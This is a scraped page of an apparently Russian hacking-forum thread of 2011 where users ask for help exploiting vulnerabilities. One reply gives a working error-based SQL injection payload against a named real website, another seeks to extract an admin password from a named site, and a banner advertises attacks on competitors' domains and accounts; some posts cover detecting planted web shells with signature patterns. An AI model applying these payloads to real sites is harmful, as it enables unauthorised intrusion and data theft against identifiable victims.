Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1808 из 2438

1808

Опции темы

Поиск в этой теме

Опции просмотра

#18071

10.09.2011, 21:40

M_script

Новичок

Регистрация: 04.11.2004

Сообщений: 5

С нами: 11322426

Репутация: 0

heks, нужно фильтровать данные, которые пользователь может передать скрипту.

#18072

12.09.2011, 03:48

Faaax

Постоянный

Регистрация: 30.08.2010

Сообщений: 327

С нами: 8263766

Репутация: 11

подскажите как раскрутить эту скулю?

Код:

http://www.euromet.ru:80/search/?search=1'

#18073

12.09.2011, 06:40

sourcec0de

Новичок

Регистрация: 13.06.2011

Сообщений: 27

С нами: 7850486

Репутация: 7

Цитата:

Сообщение от Faaax

подскажите как раскрутить эту скулю?

Код:

http://www.euromet.ru:80/search/?search=1'

Там несколько запросов

Код:

http://www.euromet.ru/search/?search=ololo' and updatexml(0x03b,concat(0x3b,(select version())),0x03b)-- x

#18074

13.09.2011, 16:05

Ochki

Новичок

Регистрация: 04.09.2011

Сообщений: 2

С нами: 7730966

Репутация: 0

Народ Как можно найти чужой шелл на севере ?

Интересны варианты обнаружения посторонних шелов

#18075

13.09.2011, 16:09

o'clock

Новичок

Регистрация: 16.05.2009

Сообщений: 12

С нами: 8940726

Репутация: 2

если консоль активна, то можно например так:

Код:

find / -type f -size +20k -name "*.php"

выведет все пути до фалов с маской *.php размер которых более 20 кб. т.е. всо(~22 и ~67 кб) и всякие другие.

#18076

13.09.2011, 16:39

Faaax

Постоянный

Регистрация: 30.08.2010

Сообщений: 327

С нами: 8263766

Репутация: 11

Цитата:

Сообщение от Ochki

Народ Как можно найти чужой шелл на севере ?
Интересны варианты обнаружения посторонних шелов

был у меня один скрипт,если найду,то выложу здесь!

даже шелл нашёл который даёт такую функцию!

скачать

P.S. шелл проверь сначала!

#18077

13.09.2011, 17:49

Kuteke

Участник форума

Регистрация: 26.06.2010

Сообщений: 179

С нами: 8357366

Репутация: 6

o'clock,

а серв не за ддосишь этим?)

Ochki,

PhPAntiVirus скачай, он не грузить серв вообще, сколько бы там не было файлов! Открой там virus.def и измени содержимое на

Код:

SHELL	(base64_decode
SHELL	eval
SHELL	assert
SHELL	auth_pass

#18078

13.09.2011, 18:31

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 0

С нами: 10992741

Репутация: 0

Нашел Post уязвимость на сайте

http://mirbek-star.3dn.ru/load/audio/mirbek_atabekov_tan_syry_skachat_v_formate_mp3/1-1-0-51

Data:id=1&a=1&ajax=370

Что бы по быстрому добраться до базы использовал Havij и WebCruiser ни 1 не смог потому что символы там не понятные..пытается что то сблиндить и не как,есть варианты как пасс админа вытащить если символы не англ?

Заранее спасибо.

#18079

13.09.2011, 19:53

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

Цитата:

Сообщение от Kuteke

Помогите раскрутить!

Код:

/?id=5934

P.S. С меня наградка в ПМ...

там нет инъекции

#18080

13.09.2011, 20:11

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от попугай

там нет инъекции

там пасивная XSS

Страница 1808 из 2438

1808

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)

Быстрый переход